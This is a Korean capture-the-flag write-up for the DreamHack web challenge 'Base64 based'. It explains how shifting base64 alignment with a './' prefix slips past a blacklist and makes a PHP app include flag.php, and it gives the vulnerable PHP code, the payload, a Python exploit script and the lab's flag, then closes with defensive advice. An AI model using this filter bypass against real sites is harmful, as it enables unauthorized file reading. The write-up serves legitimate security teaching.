[🥉 Bronze 3] base64 블록을 반칸 밀어 필터를 빠져나가다 — DreamHack Base64 based 풀이

문제: DreamHack — Base64 based 분류: Web 난이도: 🥉 Bronze 3 FLAG: DH{We1c0me_t0_Ba5e64:dvsTcZyRfbNUfdGHx1OySg==}

파일명을 base64로 받아 그 파일을 include해 보여주는 PHP 앱이다. flag.php를 include하면 서버의 /flag를 읽어 뱉지만, 인코딩된 문자열에 flag·.php·../의 base64 흔적이 보이면 막아버린다. 필터가 검사하는 건 디코드 결과가 아니라 base64 문자열 그 자체라는 점을 파고들었다.

문제 개요

목표는 flag.php를 include시키는 것이다. flag.php는 상수 ALLOW_INCLUDE가 정의돼 있으면 /flag를 읽어 출력하는데, index.php가 그 상수를 정의한 채 include하니 조건은 저절로 맞는다. 문제는 파일명을 base64로 넘겨야 하고, 그 base64에 금지 조각이 걸리지 않아야 한다는 것뿐이다.

🧩 배경 — base64는 3바이트를 4글자로 자른다

base64는 원본 바이트를 3개씩 묶어 각 묶음을 4개의 출력 문자로 바꾼다. 3바이트(24비트)를 6비트씩 넷으로 쪼개 문자표에 매핑하는 방식이다.

여기서 중요한 성질 하나. 같은 글자라도 원본에서 몇 번째 바이트에 놓이느냐(정렬 오프셋)에 따라 전혀 다른 base64 조각이 된다. "flag"가 3바이트 묶음의 시작에 정확히 걸리면 항상 Zmxh로 시작하는 익숙한 패턴이 나오지만, 한 바이트 밀려서 묶이면 그 패턴이 깨진다.

PHP 쪽 장치도 단순하다. require_once($file)은 지정한 경로의 PHP 파일을 그 자리에서 실행한다. 실행 스코프가 호출부와 같아서, index.php에서 define('ALLOW_INCLUDE', true)로 정의한 상수를 include된 flag.php가 그대로 본다.

// flag.php
if (!defined('ALLOW_INCLUDE')) {
    http_response_code(403);
    exit('Direct access is not allowed.');
} else {
    $file = file_get_contents('/flag');
    echo trim($file);
}

flag.php를 직접 열면 403이지만, index.php를 거쳐 include되면 통과해 flag를 뱉는다.

🔬 코드 정찰 — index.php의 필터

핵심은 index.php 한 파일이다. 파라미터를 받는 부분을 보자.

define('ALLOW_INCLUDE', true);
 
if (isset($_GET['file'])) {
    $encodedFileName = $_GET['file'];
    if (stripos($encodedFileName, "Li4v") !== false){
        echo "<p class='error'>Error: Not allowed ../.</p>"; exit(0);
    }
    if ((stripos($encodedFileName, "ZmxhZ") !== false) || (stripos($encodedFileName, "aHA=") !== false)){
        echo "<p class='error'>Error: Not allowed flag.</p>"; exit(0);
    }
    $decodedFileName = base64_decode($encodedFileName);
    $filePath = __DIR__ . DIRECTORY_SEPARATOR . $decodedFileName;
 
    if ($decodedFileName && file_exists($filePath) && strpos(realpath($filePath),__DIR__) == 0) {
        echo "<p>Including file: <strong>$decodedFileName</strong></p>";
        require_once($decodedFileName);
    } else {
        echo "<p class='error'>Error: Invalid file or file does not exist.</p>";
    }
}

필터가 검사하는 대상은 디코드 전 base64 문자열이다. 세 조각을 막는다.

통과하면 base64_decode 후 require_once($decodedFileName)로 include한다. 여기서 눈여겨볼 점 두 개.

require_once가 받는 건 $filePath(절대경로)가 아니라 **디코드된 상대경로 $decodedFileName**이다. 실행 디렉토리가 /var/www/html(= __DIR__)이므로, ./flag.php 같은 상대경로가 그대로 먹힌다.

경로 검사 strpos(realpath($filePath), __DIR__) == 0은 느슨한 비교(==)다. realpath가 /var/www/html/flag.php를 돌려주면 strpos는 0을 반환하고 0 == 0이라 통과한다. 우리가 웹 루트 안의 파일만 노리면 걸릴 일이 없다.

정리하면, 노릴 파일은 flag.php, 넘길 방법은 base64, 유일한 장애물은 flag·hp·../의 base64 조각을 문자열에 남기지 않는 것이다.

🐛 삽질 — flag.php를 정직하게 인코딩하면 다 걸린다

▶🐛 삽질 — base64('flag.php')가 금지 조각 두 개를 한꺼번에 품는다

가장 먼저 떠오르는 건 flag.php를 그대로 base64 하는 것이다. 결과는 ZmxhZy5waHA=.

• ZmxhZ(flag) 포함 → flag 필터 걸림
• aHA=(hp) 포함 → flag 필터 걸림

한 문자열이 금지 조각 두 개를 동시에 품는다. 서버도 바로 막는다.

디렉토리 탈출로 우회할까 싶어 ../flag.php(Li4vZmxhZy5waHA=)도 던져봤지만, 이번엔 맨 앞 Li4v(../)가 먼저 걸린다.

flag.php라는 글자 자체는 필요하다. 그러면 남은 건 글자는 그대로 두되 base64 표현만 바꾸는 것뿐이다.

flag가 3바이트 묶음의 시작에 딱 걸리는 한 ZmxhZ는 계속 나온다. 묶음 경계를 밀어버리면 어떻게 될까 — 그게 돌파구였다.

💣 핵심 — 블록 정렬을 반칸 밀기

파일명 앞에 아무 의미 없는 ./를 붙인다. ./flag.php는 여전히 같은 파일을 가리키지만(현재 디렉토리 = 웹 루트), 앞에 2바이트가 끼면서 뒤따르는 모든 글자의 3바이트 묶음 정렬이 밀린다.

./flag.php를 base64 하면 Li9mbGFnLnBocA==이다. 정렬이 밀린 결과 이렇게 바뀐다.

• flag가 f | lag로 두 묶음에 쪼개져 → ZmxhZ가 아예 안 생긴다
• .php가 .ph | p로 쪼개져 → .php는 LnBocA==가 되고 aHA=도 안 생긴다
• 맨 앞은 Li9m(./f) → ../의 Li4v와 다르다

세 필터를 전부 빈손으로 지나간다. 디코드하면 ./flag.php, require_once("./flag.php")가 웹 루트의 flag.php를 실행한다.

같은 원리로 hello.php(aGVsbG8ucGhw)를 넣어 보면 include가 실제로 PHP를 실행한다는 걸 먼저 확인할 수 있다. .php가 o.p|hp 묶음으로 흩어져 aHA=가 없어 이건 필터도 안 걸린다.

🎯 익스플로잇

최종 payload는 한 줄이다.

GET /?file=Li9mbGFnLnBocA==

Li9mbGFnLnBocA==는 ./flag.php의 base64이고, 세 필터를 모두 회피한다. 디코드 → require_once("./flag.php") → flag.php가 /flag를 읽어 출력한다.

🚀 Full Exploit

파일명 앞에 ./를 붙여 base64 하고, 금지 조각이 없는지 자가검증한 뒤 요청한다.

import base64, re, requests
 
BASE = "http://host3.dreamhack.games:<port>"
 
payload_name = "./flag.php"
enc = base64.b64encode(payload_name.encode()).decode()   # Li9mbGFnLnBocA==
 
# 필터 자가검증: Li4v(../) · ZmxhZ(flag) · aHA=(hp) 회피 확인
for bad, meaning in [("Li4v", "../"), ("ZmxhZ", "flag"), ("aHA=", "hp/.php")]:
    assert bad not in enc, f"차단문자열 {bad}({meaning}) 포함!"
print(f"[*] 파일명 : {payload_name}")
print(f"[*] base64 : {enc}   (Li4v/ZmxhZ/aHA= 전부 회피)")
 
r = requests.get(BASE + "/", params={"file": enc}, timeout=10)
m = re.search(r"DH\{[^}]+\}", r.text)
print(f"[*] 요청   : {BASE}/?file={enc}")
print(f"[+] FLAG   : {m.group(0) if m else '(못 찾음)'}")

실행하면 payload가 세 조각을 피한다는 자가검증과 함께 flag가 그대로 찍힌다. 이 문제의 flag 는 앞부분(We1c0me_t0_Ba5e64:)만 고정이고 뒷부분은 인스턴스마다 새로 생성되므로, 아래 값과 여러분이 받는 값은 다르다.

[+] FLAG   : DH{We1c0me_t0_Ba5e64:dvsTcZyRfbNUfdGHx1OySg==}

📝 결론

인코딩된 문자열을 블랙리스트로 막으면 인코딩의 성질에 그대로 발목 잡힌다.

이 필터는 base64 문자열에서 flag·hp·../의 "흔한 표현"만 찾았다. 하지만 base64는 같은 글자를 정렬 오프셋에 따라 여러 표현으로 만든다. flag는 ZmxhZ일 수도, 앞에 한두 바이트가 끼면 bGFn으로도 나온다. 걸러야 할 대상은 결국 디코드 결과인데 그 전 단계를 검사했으니, 표현 하나만 알아도 나머지는 얼마든지 있다.

검증은 정규화한 다음, 최종적으로 쓰이는 값 기준으로 해야 한다.

여기서 옳은 순서는 base64를 먼저 디코드하고, realpath로 경로를 정규화한 뒤, 그 결과가 허용된 화이트리스트(예: 특정 디렉토리의 특정 확장자)에 드는지 보는 것이었다. 디코드 전 문자열을 훑는 검사는 우회 표현의 수만큼 구멍이 난다.

LFI는 include 대상을 화이트리스트로 고정하는 게 정석이다.

애초에 임의 파일명을 받아 require_once에 그대로 넘기는 구조가 위험하다. 보여줄 파일이 정해져 있다면 파일명을 키로만 받아 서버가 내부 매핑으로 실제 경로를 고르는 편이 안전하다. 사용자 입력이 include 경로에 직접 닿지 않게 하는 것 — 그게 이 문제가 놓친 지점이다.